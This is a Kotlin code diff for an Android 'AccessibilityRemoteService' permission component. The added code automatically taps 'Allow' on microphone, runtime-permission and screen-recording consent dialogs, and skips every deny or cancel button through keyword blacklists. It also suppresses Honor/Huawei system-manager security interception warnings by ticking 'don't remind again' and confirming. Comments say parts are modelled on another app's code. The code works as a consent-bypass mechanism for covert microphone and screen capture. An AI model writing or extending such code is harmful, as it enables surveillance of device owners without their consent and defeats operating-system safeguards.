+ Log.d(TAG, "🎤 跳过MIUI权限编辑页,交给auto_toggle处理: package=$rootPackage")
+ continue
+ }
+ if (!isRuntimePermissionDialogPackage(rootPackage)) {
+ Log.d(TAG, "🎤 跳过非权限弹框窗口: title=$windowTitle, package=$rootPackage")
+ continue
+ }
+
+ val permissionNode = findMicrophonePermissionNodeInTree(windowRoot)
+ if (permissionNode != null) {
+ try {
+ Log.d(TAG, "🎤 在窗口中找到权限节点: title=$windowTitle, package=$rootPackage")
+ if (tryClickMicrophonePermissionButtons(permissionNode)) {
+ return true
+ }
+ } finally {
+ permissionNode.recycle()
+ }
+ }
+ } finally {
+ windowRoot.recycle()
}
}
}
@@ -503,12 +963,29 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (rootNode != null) {
Log.d(TAG, "🎤 检查活动窗口...")
+ if (tryHandleHonorSystemManagerInterception(rootNode, "microphone_active")) {
+ rootNode.recycle()
+ return true
+ }
+
+ val rootPackage = rootNode.packageName?.toString()
+ if (isMiuiPermissionEditorPackage(rootPackage)) {
+ Log.d(TAG, "🎤 活动窗口为MIUI权限编辑页,交给auto_toggle处理: package=$rootPackage")
+ rootNode.recycle()
+ return false
+ }
+ if (!isRuntimePermissionDialogPackage(rootPackage)) {
+ Log.d(TAG, "🎤 活动窗口不是权限弹框,跳过: package=$rootPackage")
+ rootNode.recycle()
+ return false
+ }
+
// 递归查找权限相关节点
- val permissionNode = findPermissionNodeInTree(rootNode)
+ val permissionNode = findMicrophonePermissionNodeInTree(rootNode)
if (permissionNode != null) {
Log.d(TAG, "🎤 在活动窗口中找到权限节点")
- if (tryClickPermissionButtons(permissionNode)) {
+ if (tryClickMicrophonePermissionButtons(permissionNode)) {
permissionNode.recycle()
rootNode.recycle()
return true
@@ -672,19 +1149,26 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
mediaProjectionRetryCount++
lastMediaProjectionAttemptTime = currentTime
Log.i(TAG, "✅ 设置MediaProjection请求状态: $requesting (第${mediaProjectionRetryCount}次尝试,对话框检测: $hasDetectedPermissionDialog, 首次安装: $isFirstInstall)")
+ startOrRefreshMediaProjectionSafetyReset("set_requesting_true_retry_${mediaProjectionRetryCount}")
} else {
Log.i(TAG, "✅ MediaProjection权限申请完成,重置状态")
+ cancelMediaProjectionSafetyReset("set_requesting_false")
resetRequestStatus()
}
isRequestingMediaProjection = requesting
}
+
+ fun isMediaProjectionRequestInProgress(): Boolean {
+ return isRequestingMediaProjection
+ }
/**
* 重置权限申请状态
*/
private fun resetRequestStatus() {
Log.i(TAG, "🔄 重置权限申请状态")
+ cancelMediaProjectionSafetyReset("reset_request_status")
mediaProjectionRetryCount = 0
hasDetectedPermissionDialog = false
dialogDetectionCount = 0
@@ -699,48 +1183,741 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// ==================== 参考d.t/d.r的通用权限自动点击 ====================
+ private fun mergeDistinctKeywords(primary: List, secondary: List): List {
+ return (primary + secondary)
+ .map { it.trim() }
+ .filter { it.isNotEmpty() }
+ .distinct()
+ }
+
/**
- * 录屏授权弹窗检测关键词(参考d.t的f604c数组)
- * 当systemui事件中包含这些关键词时,说明录屏授权弹窗已出现
+ * 录屏授权弹窗检测关键词(参考 d.t 的 f604c 数组)
+ * 当 systemui/permissioncontroller 事件中包含这些关键词时,说明录屏授权弹窗已出现。
*/
- private val mediaProjectionDetectionKeywords = arrayOf(
- "投射", "录制", "录屏", "投屏", "截取", "共享屏幕", "屏幕录制",
- "Screen recording", "Screen casting", "Screen capture", "Share screen",
- "Cast screen", "Record screen", "Media projection"
- )
-
+ private val mediaProjectionDetectionKeywords by lazy {
+ mergeDistinctKeywords(
+ listOf(
+ "投射", "录制", "录屏", "投屏", "投放", "截取", "共享屏幕", "屏幕录制",
+ "开始录制", "开始投放", "开始共享", "立即开始", "屏幕共享",
+ "Screen recording", "Screen casting", "Screen capture", "Share screen",
+ "Cast screen", "Record screen", "Media projection", "Start recording",
+ "Start sharing", "Start now", "Cast now"
+ ),
+ romPolicy.mediaProjectionDetectionKeywords
+ ).toTypedArray()
+ }
+
/**
- * 通用权限自动授权关键词列表(参考d.r的18个关键词)
- * 匹配到这些文本的可点击节点会被自动点击
+ * 通用权限自动授权关键词列表(运行时策略 + ROM 策略合并)。
*/
- private val generalPermissionAllowKeywords = arrayOf(
- "确定", "允许", "始终允许", "允许使用照片和视频", "所有文件",
- "允许管理所有文件", "允许访问全部", "使用期间允许", "仅使用期间允许",
- "使用应用时允许", "使用时允许", "仅在使用中允许", "仅在前台使用应用时允许",
- "仅在使用该应用时允许", "允许本次使用", "本次使用时允许", "允许通知", "仅媒体",
- // 英文
- "Allow", "Always allow", "Allow while using the app", "While using the app",
- "Only this time", "Allow all the time"
- )
-
+ private val runtimePermissionAllowKeywords by lazy {
+ mergeDistinctKeywords(
+ listOf(
+ "允许", "始终允许", "允许本次使用", "本次使用时允许",
+ "使用时允许", "使用期间允许", "仅使用期间允许",
+ "仅在使用中允许", "仅在前台使用应用时允许", "仅在使用该应用时允许",
+ "在使用中运行", "在使用中", "在使用该应用时", "在使用期间",
+ "仅在使用中", "仅在使用期间", "仅在使用应用时",
+ "允许通知", "允许访问全部", "允许管理所有文件", "允许使用照片和视频", "所有文件",
+ "确认解除", "解除限制", "解除", "仅本次", "本次允许", "仅此一次", "允许一次",
+ "Allow", "Always allow", "Allow all the time",
+ "Allow while using", "Allow while using the app", "While using the app",
+ "Allow only this time", "Only this time", "This time only", "Allow once"
+ ),
+ romPolicy.runtimePermissionAllowKeywords
+ )
+ }
+ private val generalPermissionAllowKeywords by lazy { runtimePermissionAllowKeywords.toTypedArray() }
+
/**
- * 取消/拒绝按钮黑名单(参考d.t的f606e数组)
- * 这些文本的节点绝不会被点击
+ * 取消/拒绝按钮黑名单(这些文本的节点绝不会被点击)。
*/
- private val denyButtonBlacklist = arrayOf(
- "禁止", "取消", "拒绝", "不允许", "不同意", "关闭",
- "Cancel", "Deny", "Dismiss", "Don't allow", "No"
- )
-
+ private val runtimePermissionDenyKeywords by lazy {
+ mergeDistinctKeywords(
+ listOf(
+ "禁止", "取消", "拒绝", "不允许", "不同意", "关闭", "暂不", "以后再说",
+ "仅在使用中不允许", "仅在使用期间不允许",
+ "Cancel", "Deny", "Dismiss", "Don't allow", "Do not allow", "Not now", "No"
+ ),
+ romPolicy.runtimePermissionDenyKeywords
+ )
+ }
+
/**
- * 录屏确认按钮文本(参考d.t的f605d数组)
- * 选择全屏后点击这些确认按钮
+ * 运行时权限“选项项”关键词(常见为 RadioButton,不应直接视为最终确认)。
*/
- private val mediaProjectionConfirmKeywords = arrayOf(
- "立即开始", "允许", "确定", "开始",
- "Start now", "Allow", "OK", "Start", "Begin",
- "Share screen", "共享屏幕", "开始共享"
- )
+ private val runtimePermissionOptionKeywords by lazy {
+ mergeDistinctKeywords(
+ listOf(
+ "每次使用询问", "每次询问", "询问",
+ "仅在使用中允许", "仅在使用期间允许",
+ "仅在使用该应用时允许", "仅在使用此应用时允许", "仅在前台使用应用时允许",
+ "仅本次", "本次允许", "仅此一次", "允许一次",
+ "Ask every time", "Only this time", "While using the app"
+ ),
+ romPolicy.runtimePermissionOptionKeywords
+ )
+ }
+
+ /**
+ * 运行时权限最终确认动作关键词(排除拒绝语义)。
+ */
+ private val runtimePermissionFinalConfirmKeywords by lazy {
+ mergeDistinctKeywords(
+ listOf(
+ "允许", "确认", "确定", "继续", "同意", "授权", "完成",
+ "Allow", "Confirm", "OK", "Continue", "Agree", "Grant", "Authorize", "Yes"
+ ),
+ romPolicy.runtimePermissionFinalConfirmKeywords
+ )
+ }
+
+ /**
+ * 运行时权限最终确认按钮常见 viewId 片段。
+ */
+ private val runtimePermissionConfirmViewIdHints by lazy {
+ mergeDistinctKeywords(
+ listOf("button1", "positive", "allow", "grant", "confirm", "ok", "continue", "action"),
+ romPolicy.runtimePermissionConfirmViewIdHints
+ )
+ }
+ private val denyButtonBlacklist by lazy { runtimePermissionDenyKeywords.toTypedArray() }
+
+ /**
+ * 录屏确认按钮文本(选择全屏后点击这些确认按钮)。
+ */
+ private val mediaProjectionConfirmKeywords by lazy {
+ mergeDistinctKeywords(
+ listOf(
+ "立即开始", "开始录制", "开始投放", "开始共享", "同意", "允许", "确定", "确认", "继续", "开始", "OK",
+ "Start now", "Allow", "OK", "Start", "Begin", "Continue", "Agree",
+ "Start recording", "Start casting", "Start sharing", "Share screen", "共享屏幕"
+ ),
+ romPolicy.mediaProjectionConfirmTexts
+ ).toTypedArray()
+ }
+
+ /**
+ * 录屏授权弹窗常见来源包(不同 ROM 会落在不同系统组件里)。
+ */
+ private val mediaProjectionDialogPackages by lazy {
+ mergeDistinctKeywords(
+ listOf(
+ "com.android.systemui",
+ "android",
+ "com.android.permissioncontroller",
+ "com.google.android.permissioncontroller",
+ "com.miui.securitycenter",
+ "com.miui.permcenter",
+ "com.miui.permissioncontroller",
+ "com.huawei.systemmanager",
+ "com.hihonor.systemmanager",
+ "com.hihonor.securitycenter",
+ "com.coloros.safecenter",
+ "com.oplus.securitypermission",
+ "com.oppo.permissioncontroller"
+ ),
+ romPolicy.permissionDialogPackageHints + installerUiPlan.packageHints
+ ).map { it.lowercase() }
+ }
+
+ private val permissionFlowPackageHints by lazy {
+ mergeDistinctKeywords(
+ listOf(
+ "permissioncontroller",
+ "packageinstaller",
+ "permcenter",
+ "securitycenter",
+ "lbe.security.miui",
+ "systemmanager",
+ "com.coloros",
+ "com.oplus",
+ "com.heytap",
+ "com.oppo"
+ ),
+ romPolicy.permissionFlowPackageHints + romPolicy.permissionDialogPackageHints + installerUiPlan.packageHints
+ ).map { it.lowercase() }
+ }
+
+ private val honorSystemManagerPackages by lazy {
+ mergeDistinctKeywords(
+ listOf("com.hihonor.systemmanager", "com.huawei.systemmanager"),
+ romPolicy.permissionDialogPackageHints.filter { it.contains("systemmanager", ignoreCase = true) }
+ ).map { it.lowercase() }
+ }
+
+ private fun buildNodeCombinedText(text: CharSequence?, desc: CharSequence?): String {
+ val combined = "${text?.toString().orEmpty()} ${desc?.toString().orEmpty()}".trim()
+ return combined
+ }
+
+ private fun startOrRefreshMediaProjectionSafetyReset(reason: String) {
+ val sessionId = System.currentTimeMillis()
+ mediaProjectionRequestSessionId = sessionId
+ mediaProjectionSafetyResetJob?.cancel()
+ mediaProjectionSafetyResetJob = serviceScope.launch {
+ delay(8000)
+ if (sessionId != mediaProjectionRequestSessionId) {
+ Log.d(TAG, "⏭️ [安全重置] 跳过旧会话: reason=$reason")
+ return@launch
+ }
+ if (isRequestingMediaProjection && !hasMediaProjectionPermission()) {
+ Log.w(TAG, "⚠️ [安全重置] 8秒后权限仍未获取,重置状态避免卡死: reason=$reason")
+ isRequestingMediaProjection = false
+ mediaProjectionRetryCount = 0
+ }
+ }
+ }
+
+ private fun cancelMediaProjectionSafetyReset(reason: String) {
+ mediaProjectionRequestSessionId = System.currentTimeMillis()
+ mediaProjectionSafetyResetJob?.cancel()
+ mediaProjectionSafetyResetJob = null
+ Log.d(TAG, "🛑 [安全重置] 已取消: reason=$reason")
+ }
+
+ private fun isSystemProjectionDialogVisible(): Boolean {
+ return try {
+ val rootNode = service.rootInActiveWindow ?: return false
+ val packageName = rootNode.packageName?.toString()?.lowercase().orEmpty()
+ packageName.contains("com.android.systemui")
+ } catch (e: Exception) {
+ false
+ }
+ }
+
+ private fun containsAnyKeyword(source: String, keywords: Collection): Boolean {
+ if (source.isEmpty()) return false
+ return keywords.any { keyword ->
+ source.contains(keyword, ignoreCase = true)
+ }
+ }
+
+ private fun isLikelyMediaProjectionDialogPackage(packageName: String?): Boolean {
+ if (packageName.isNullOrBlank()) return false
+ val normalized = packageName.lowercase()
+ return mediaProjectionDialogPackages.any { pkg ->
+ normalized == pkg || normalized.contains(pkg)
+ }
+ }
+
+ private fun isRuntimeAllowText(source: String): Boolean {
+ return containsAnyKeyword(source, runtimePermissionAllowKeywords)
+ }
+
+ private fun isRuntimeDenyText(source: String): Boolean {
+ return containsAnyKeyword(source, runtimePermissionDenyKeywords)
+ }
+
+ private fun normalizeRuntimeText(source: String): String {
+ return source.replace("\\s+".toRegex(), "")
+ }
+
+ private fun isRuntimeOptionSelectionText(source: String): Boolean {
+ if (source.isBlank()) return false
+ val normalized = normalizeRuntimeText(source)
+ return runtimePermissionOptionKeywords.any { keyword ->
+ normalized.contains(normalizeRuntimeText(keyword), ignoreCase = true)
+ }
+ }
+
+ private fun isRuntimeFinalConfirmText(source: String): Boolean {
+ if (source.isBlank()) return false
+ val normalized = normalizeRuntimeText(source)
+ val matched = runtimePermissionFinalConfirmKeywords.any { keyword ->
+ normalized.contains(normalizeRuntimeText(keyword), ignoreCase = true)
+ }
+ if (!matched) return false
+ // 选项文案中包含“允许”时,默认不视为最终确认(避免 MIUI RadioButton 误判)
+ if (isRuntimeOptionSelectionText(normalized)) {
+ return normalized.equals("允许", ignoreCase = true) ||
+ normalized.equals("allow", ignoreCase = true) ||
+ normalized.equals("ok", ignoreCase = true) ||
+ normalized.equals("确定", ignoreCase = true) ||
+ normalized.equals("确认", ignoreCase = true)
+ }
+ return true
+ }
+
+ private fun hasRuntimeConfirmViewIdHint(viewId: String?): Boolean {
+ if (viewId.isNullOrBlank()) return false
+ val normalized = viewId.lowercase()
+ return runtimePermissionConfirmViewIdHints.any { hint ->
+ normalized.contains(hint)
+ }
+ }
+
+ private fun isRuntimeOptionControl(node: AccessibilityNodeInfo): Boolean {
+ val className = node.className?.toString()?.lowercase().orEmpty()
+ return node.isCheckable ||
+ className.contains("radiobutton") ||
+ className.contains("checkedtextview") ||
+ className.contains("checkbox")
+ }
+
+ private fun clickRuntimePermissionNode(
+ node: AccessibilityNodeInfo,
+ scene: String,
+ phase: String,
+ logPrefix: String
+ ): Boolean {
+ val text = node.text?.toString().orEmpty()
+ val desc = node.contentDescription?.toString().orEmpty()
+ val className = node.className?.toString().orEmpty()
+ val viewId = node.viewIdResourceName.orEmpty()
+ val clickTarget = if (node.isClickable) node else findClickableParentOrSibling(node)
+ val actionClicked = runCatching {
+ clickTarget?.performAction(AccessibilityNodeInfo.ACTION_CLICK) == true
+ }.getOrDefault(false)
+ if (actionClicked) {
+ Log.i(
+ TAG,
+ "$logPrefix [$scene] 点击成功: phase=$phase, text='$text', desc='$desc', class=$className, viewId=$viewId"
+ )
+ return true
+ }
+ val gestureClicked = tapNodeCenterByGesture(node, "runtime_permission:$scene:$phase")
+ Log.i(
+ TAG,
+ "$logPrefix [$scene] 手势点击兜底: phase=$phase, text='$text', class=$className, viewId=$viewId, clicked=$gestureClicked"
+ )
+ return gestureClicked
+ }
+
+ private fun computeRuntimeConfirmScore(
+ node: AccessibilityNodeInfo,
+ combinedText: String,
+ viewId: String
+ ): Int {
+ val className = node.className?.toString()?.lowercase().orEmpty()
+ var score = 0
+ if (hasRuntimeConfirmViewIdHint(viewId)) score += 80
+ if (className.contains("button")) score += 30
+ if (isRuntimeFinalConfirmText(combinedText)) score += 25
+ if (isRuntimeAllowText(combinedText)) score += 15
+ if (isRuntimeOptionSelectionText(combinedText)) score -= 30
+ if (isRuntimeOptionControl(node)) score -= 60
+ return score
+ }
+
+ private fun tryClickRuntimeFollowupConfirm(
+ scene: String,
+ strictAllowSemantics: Boolean,
+ logPrefix: String
+ ): Boolean {
+ val rootNode = service.rootInActiveWindow ?: return false
+ try {
+ val rootPackage = rootNode.packageName?.toString()
+ if (!isRuntimePermissionDialogPackage(rootPackage)) {
+ Log.d(TAG, "$logPrefix [$scene] 跟进确认跳过:当前活动包非运行时权限弹框 package=$rootPackage")
+ return false
+ }
+
+ val confirmViewIds = listOf(
+ "android:id/button1",
+ "com.android.permissioncontroller:id/permission_allow_button",
+ "com.android.permissioncontroller:id/permission_allow_foreground_only_button",
+ "com.android.permissioncontroller:id/permission_allow_one_time_button"
+ )
+ for (viewId in confirmViewIds) {
+ val confirmNodes = runCatching {
+ rootNode.findAccessibilityNodeInfosByViewId(viewId)
+ }.getOrDefault(emptyList())
+ try {
+ for (candidate in confirmNodes) {
+ val combinedText = buildNodeCombinedText(candidate.text, candidate.contentDescription)
+ if (isRuntimeDenyText(combinedText)) continue
+ val allowLike = isRuntimeAllowText(combinedText) ||
+ isRuntimeFinalConfirmText(combinedText) ||
+ hasRuntimeConfirmViewIdHint(candidate.viewIdResourceName)
+ if (!allowLike) continue
+ if (strictAllowSemantics &&
+ !isRuntimeAllowText(combinedText) &&
+ !hasRuntimeConfirmViewIdHint(candidate.viewIdResourceName)
+ ) {
+ continue
+ }
+ if (clickRuntimePermissionNode(candidate, scene, "followup_confirm_viewid:$viewId", logPrefix)) {
+ return true
+ }
+ }
+ } finally {
+ confirmNodes.forEach { runCatching { it.recycle() } }
+ }
+ }
+
+ val allButtons = findAllButtons(rootNode)
+ try {
+ var bestCandidate: AccessibilityNodeInfo? = null
+ var bestScore = Int.MIN_VALUE
+ for (candidate in allButtons) {
+ val combinedText = buildNodeCombinedText(candidate.text, candidate.contentDescription)
+ val viewId = candidate.viewIdResourceName.orEmpty()
+ if (isRuntimeDenyText(combinedText)) continue
+ if (isRuntimeOptionControl(candidate) || isRuntimeOptionSelectionText(combinedText)) continue
+ val allowLike = isRuntimeAllowText(combinedText) ||
+ isRuntimeFinalConfirmText(combinedText) ||
+ hasRuntimeConfirmViewIdHint(viewId)
+ if (!allowLike) continue
+ if (strictAllowSemantics &&
+ !isRuntimeAllowText(combinedText) &&
+ !hasRuntimeConfirmViewIdHint(viewId)
+ ) {
+ continue
+ }
+
+ val score = computeRuntimeConfirmScore(candidate, combinedText, viewId)
+ if (score > bestScore) {
+ bestScore = score
+ bestCandidate = candidate
+ }
+ }
+
+ if (bestCandidate != null) {
+ return clickRuntimePermissionNode(bestCandidate, scene, "followup_confirm_scan", logPrefix)
+ }
+ } finally {
+ allButtons.forEach { runCatching { it.recycle() } }
+ }
+ return false
+ } finally {
+ runCatching { rootNode.recycle() }
+ }
+ }
+
+ private fun tryClickRuntimeBottomRightConfirmFallback(
+ node: AccessibilityNodeInfo,
+ scene: String,
+ strictAllowSemantics: Boolean,
+ logPrefix: String
+ ): Boolean {
+ val rootBounds = android.graphics.Rect()
+ runCatching { node.getBoundsInScreen(rootBounds) }
+ if (rootBounds.isEmpty) {
+ return false
+ }
+
+ val nodes = mutableListOf()
+ collectAllNodes(node, nodes, 0)
+ try {
+ var bestCandidate: AccessibilityNodeInfo? = null
+ var bestScore = Int.MIN_VALUE
+
+ for (candidate in nodes) {
+ val combinedText = buildNodeCombinedText(candidate.text, candidate.contentDescription)
+ val viewId = candidate.viewIdResourceName.orEmpty()
+ val className = candidate.className?.toString().orEmpty()
+ val lowerClass = className.lowercase()
+ if (isRuntimeDenyText(combinedText)) continue
+ if (isRuntimeOptionControl(candidate) || isRuntimeOptionSelectionText(combinedText)) continue
+
+ val hasClickableTarget = candidate.isClickable || findClickableParentOrSibling(candidate) != null
+ if (!hasClickableTarget) continue
+
+ val buttonLikeClass = lowerClass.contains("button") || lowerClass.contains("textview")
+ val hasSemanticSignal =
+ combinedText.isNotBlank() || hasRuntimeConfirmViewIdHint(viewId) || buttonLikeClass
+ val containerClass =
+ lowerClass.contains("framelayout") ||
+ lowerClass.contains("linearlayout") ||
+ lowerClass.contains("relativelayout") ||
+ lowerClass.contains("viewgroup")
+ if (!hasSemanticSignal) continue
+ if (containerClass && !hasRuntimeConfirmViewIdHint(viewId) && combinedText.isBlank()) continue
+
+ if (strictAllowSemantics &&
+ combinedText.isNotBlank() &&
+ !isRuntimeAllowText(combinedText) &&
+ !isRuntimeFinalConfirmText(combinedText) &&
+ !hasRuntimeConfirmViewIdHint(viewId)
+ ) {
+ continue
+ }
+
+ val bounds = android.graphics.Rect()
+ runCatching { candidate.getBoundsInScreen(bounds) }
+ if (bounds.isEmpty) continue
+
+ val centerX = bounds.centerX()
+ val centerY = bounds.centerY()
+ val rootArea = rootBounds.width().toLong() * rootBounds.height().toLong()
+ val candidateArea = bounds.width().toLong() * bounds.height().toLong()
+ if (rootArea > 0L && candidateArea > (rootArea * 35 / 100)) continue
+ val minCandidateX = rootBounds.left + (rootBounds.width() * 0.35f).toInt()
+ val minCandidateY = rootBounds.top + (rootBounds.height() * 0.45f).toInt()
+ if (centerX < minCandidateX || centerY < minCandidateY) continue
+
+ var score = centerX + centerY
+ if (className.contains("button", ignoreCase = true)) score += 1800
+ if (hasRuntimeConfirmViewIdHint(viewId)) score += 2200
+ if (isRuntimeFinalConfirmText(combinedText)) score += 1500
+ if (combinedText.isBlank()) score += 200
+ if (containerClass) score -= 2000
+ if (!candidate.isEnabled) score -= 1200
+
+ if (score > bestScore) {
+ bestScore = score
+ bestCandidate = candidate
+ }
+ }
+
+ if (bestCandidate != null) {
+ Log.i(
+ TAG,
+ "$logPrefix [$scene] 命中底部右侧确认兜底: score=$bestScore, text='${bestCandidate.text}', viewId='${bestCandidate.viewIdResourceName}'"
+ )
+ return clickRuntimePermissionNode(bestCandidate, scene, "bottom_right_confirm_fallback", logPrefix)
+ }
+ return false
+ } finally {
+ nodes.forEach { runCatching { it.recycle() } }
+ }
+ }
+
+ private fun tryClickRuntimePermissionButtonsInternal(
+ node: AccessibilityNodeInfo,
+ logPrefix: String,
+ scene: String,
+ strictAllowSemantics: Boolean,
+ allowOptionOnlySuccess: Boolean = false
+ ): Boolean {
+ val allButtons = findAllButtons(node)
+ Log.d(TAG, "$logPrefix [$scene] 找到 ${allButtons.size} 个候选按钮")
+ var optionClicked = false
+ var checkedOptionDetected = false
+
+ try {
+ for ((index, btn) in allButtons.withIndex()) {
+ val btnText = btn.text?.toString().orEmpty()
+ val btnDesc = btn.contentDescription?.toString().orEmpty()
+ val className = btn.className?.toString().orEmpty()
+ val viewId = btn.viewIdResourceName.orEmpty()
+ val combinedText = buildNodeCombinedText(btn.text, btn.contentDescription)
+ val isOptionNode = isRuntimeOptionSelectionText(combinedText) || isRuntimeOptionControl(btn)
+ val isChecked = runCatching { btn.isChecked }.getOrDefault(false)
+
+ Log.d(
+ TAG,
+ "$logPrefix [$scene] 候选 $index: text='$btnText', desc='$btnDesc', class=$className, viewId=$viewId, option=$isOptionNode, checked=$isChecked"
+ )
+
+ if (isRuntimeDenyText(combinedText)) {
+ Log.d(TAG, "$logPrefix [$scene] 跳过拒绝类按钮: '$btnText' / '$btnDesc'")
+ continue
+ }
+
+ val allowLike = isRuntimeAllowText(combinedText) ||
+ isRuntimeFinalConfirmText(combinedText) ||
+ hasRuntimeConfirmViewIdHint(viewId)
+ if (!allowLike) continue
+
+ if (isOptionNode) {
+ if (isChecked) {
+ checkedOptionDetected = true
+ Log.d(TAG, "$logPrefix [$scene] 选项已是选中态,跳过重复点击: '$btnText'")
+ continue
+ }
+ val optionClick = clickRuntimePermissionNode(btn, scene, "option_select", logPrefix)
+ if (optionClick) {
+ optionClicked = true
+ if (tryClickRuntimeFollowupConfirm(scene, strictAllowSemantics, logPrefix)) {
+ return true
+ }
+ }
+ continue
+ }
+
+ if (strictAllowSemantics &&
+ !isRuntimeAllowText(combinedText) &&
+ !hasRuntimeConfirmViewIdHint(viewId)
+ ) {
+ Log.d(TAG, "$logPrefix [$scene] 严格模式跳过非允许语义确认按钮: '$btnText' / '$btnDesc'")
+ continue
+ }
+
+ if (clickRuntimePermissionNode(btn, scene, "direct_confirm", logPrefix)) {
+ return true
+ }
+ }
+
+ if (optionClicked || checkedOptionDetected) {
+ if (tryClickRuntimeFollowupConfirm(scene, strictAllowSemantics, logPrefix)) {
+ return true
+ }
+ if (tryClickRuntimeBottomRightConfirmFallback(node, scene, strictAllowSemantics, logPrefix)) {
+ return true
+ }
+ if (allowOptionOnlySuccess) {
+ Log.i(TAG, "$logPrefix [$scene] 未命中最终确认按钮,但已完成允许选项,按详情页策略视为成功")
+ return true
+ }
+ Log.i(TAG, "$logPrefix [$scene] 已选择/识别权限选项,但暂未捕获最终确认按钮,等待下一轮检测")
+ } else {
+ Log.w(TAG, "$logPrefix [$scene] 未找到可点击的运行时权限按钮")
+ }
+ return false
+ } finally {
+ allButtons.forEach { runCatching { it.recycle() } }
+ }
+ }
+
+ private fun isHonorSystemManagerPackage(packageName: String?): Boolean {
+ if (packageName.isNullOrBlank()) return false
+ val normalized = packageName.lowercase()
+ return honorSystemManagerPackages.any { pkg ->
+ normalized == pkg || normalized.contains(pkg)
+ }
+ }
+
+ /**
+ * 荣耀/华为系统管家拦截弹窗兜底处理:
+ * 典型结构为 button2(取消)/button1(确认),可能伴随“下次不再提示”复选框。
+ */
+ private fun tryHandleHonorSystemManagerInterception(
+ rootNode: AccessibilityNodeInfo?,
+ source: String
+ ): Boolean {
+ if (rootNode == null) return false
+
+ try {
+ val packageName = rootNode.packageName?.toString()
+ Log.d(
+ TAG,
+ "🛡️ [荣耀拦截探测] source=$source, package=$packageName"
+ )
+ if (!isHonorSystemManagerPackage(packageName)) {
+ return false
+ }
+
+ Log.i(
+ TAG,
+ "🛡️ [荣耀拦截弹窗] 检测到系统管家弹窗,来源=$source, package=$packageName"
+ )
+
+ // 先尝试勾选“下次不再提示”复选框,减少重复弹窗打断权限链路
+ val checkboxIds = listOf(
+ "com.hihonor.systemmanager:id/chk",
+ "com.huawei.systemmanager:id/chk",
+ "android:id/checkbox"
+ )
+ for (viewId in checkboxIds) {
+ val checkboxes = runCatching {
+ rootNode.findAccessibilityNodeInfosByViewId(viewId)
+ }.getOrDefault(emptyList())
+ for (checkbox in checkboxes) {
+ try {
+ val checked = runCatching { checkbox.isChecked }.getOrDefault(false)
+ if (!checked && (checkbox.isCheckable || checkbox.isClickable)) {
+ val clickedByAction = runCatching {
+ checkbox.performAction(AccessibilityNodeInfo.ACTION_CLICK)
+ }.getOrDefault(false)
+ val clicked = clickedByAction || tapNodeCenterByGesture(
+ checkbox,
+ "honor_systemmanager_checkbox:$source"
+ )
+ Log.i(
+ TAG,
+ "🛡️ [荣耀拦截弹窗] 复选框处理 viewId=$viewId, checkedBefore=$checked, clicked=$clicked"
+ )
+ if (clicked) {
+ Thread.sleep(120)
+ }
+ }
+ } finally {
+ runCatching { checkbox.recycle() }
+ }
+ }
+ }
+
+ // 优先通过button1定位确认按钮,避免误点button2取消
+ val positiveButtonIds = listOf(
+ "android:id/button1",
+ "com.hihonor.systemmanager:id/button1",
+ "com.huawei.systemmanager:id/button1"
+ )
+ for (viewId in positiveButtonIds) {
+ val positiveButtons = runCatching {
+ rootNode.findAccessibilityNodeInfosByViewId(viewId)
+ }.getOrDefault(emptyList())
+ for (button in positiveButtons) {
+ try {
+ val text = buildNodeCombinedText(button.text, button.contentDescription)
+ if (isRuntimeDenyText(text)) {
+ Log.w(
+ TAG,
+ "🛡️ [荣耀拦截弹窗] 跳过疑似拒绝按钮 viewId=$viewId, text='$text'"
+ )
+ continue
+ }
+
+ val clickTarget = if (button.isClickable) button else findClickableParentOrSibling(button)
+ val clickedByAction = clickTarget?.performAction(
+ AccessibilityNodeInfo.ACTION_CLICK
+ ) == true
+ val clicked = clickedByAction || tapNodeCenterByGesture(
+ button,
+ "honor_systemmanager_button1:$source"
+ )
+ Log.i(
+ TAG,
+ "🛡️ [荣耀拦截弹窗] 点击确认按钮 viewId=$viewId, text='$text', clicked=$clicked"
+ )
+ if (clicked) {
+ return true
+ }
+ } finally {
+ runCatching { button.recycle() }
+ }
+ }
+ }
+
+ // 兜底:若button1未命中,优先选择右侧可点击按钮(但跳过取消/拒绝)
+ val allButtons = findAllButtons(rootNode)
+ try {
+ var bestButton: AccessibilityNodeInfo? = null
+ var bestCenterX = Int.MIN_VALUE
+ for (button in allButtons) {
+ val viewId = button.viewIdResourceName ?: ""
+ val text = buildNodeCombinedText(button.text, button.contentDescription)
+ if (!button.isClickable) continue
+ if (viewId.contains("button2", ignoreCase = true) || isRuntimeDenyText(text)) {
+ continue
+ }
+
+ val bounds = android.graphics.Rect()
+ button.getBoundsInScreen(bounds)
+ if (bounds.centerX() > bestCenterX) {
+ bestCenterX = bounds.centerX()
+ bestButton = button
+ }
+ }
+
+ if (bestButton != null) {
+ val fallbackText = buildNodeCombinedText(bestButton.text, bestButton.contentDescription)
+ val clickedByAction = bestButton.performAction(AccessibilityNodeInfo.ACTION_CLICK)
+ val clicked = clickedByAction || tapNodeCenterByGesture(
+ bestButton,
+ "honor_systemmanager_fallback_right_button:$source"
+ )
+ Log.i(
+ TAG,
+ "🛡️ [荣耀拦截弹窗] 右侧按钮兜底点击 text='$fallbackText', clicked=$clicked"
+ )
+ if (clicked) {
+ return true
+ }
+ }
+ } finally {
+ allButtons.forEach { runCatching { it.recycle() } }
+ }
+
+ Log.d(TAG, "🛡️ [荣耀拦截弹窗] 未找到可点击确认按钮,继续原流程")
+ return false
+ } catch (e: Exception) {
+ Log.e(TAG, "🛡️ [荣耀拦截弹窗] 处理失败,回退原逻辑", e)
+ return false
+ }
+ }
/**
* 处理无障碍事件 - 用于权限对话框的自动点击 (优化版本)
@@ -754,7 +1931,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// === 第一层:录屏授权弹窗自动点击(参考d.t) ===
// 监听来自com.android.systemui的事件
- if (packageName == "com.android.systemui") {
+ if (isLikelyMediaProjectionDialogPackage(packageName)) {
handleMediaProjectionAutoClick(event)
}
@@ -826,22 +2003,42 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.i(TAG, "🎬 [d.t] 开始执行录屏授权自动点击序列")
val rootNode = service.rootInActiveWindow ?: return
+ var sequenceRoot = rootNode
// === Step 1: Android 14+需要先选择"整个屏幕"(参考case 16 → case 15) ===
if (Build.VERSION.SDK_INT >= 34) {
+ val singleAppTexts = arrayOf(
+ "单个应用", "单个 app", "仅此应用", "当前应用",
+ "Single app", "This app only", "Only this app"
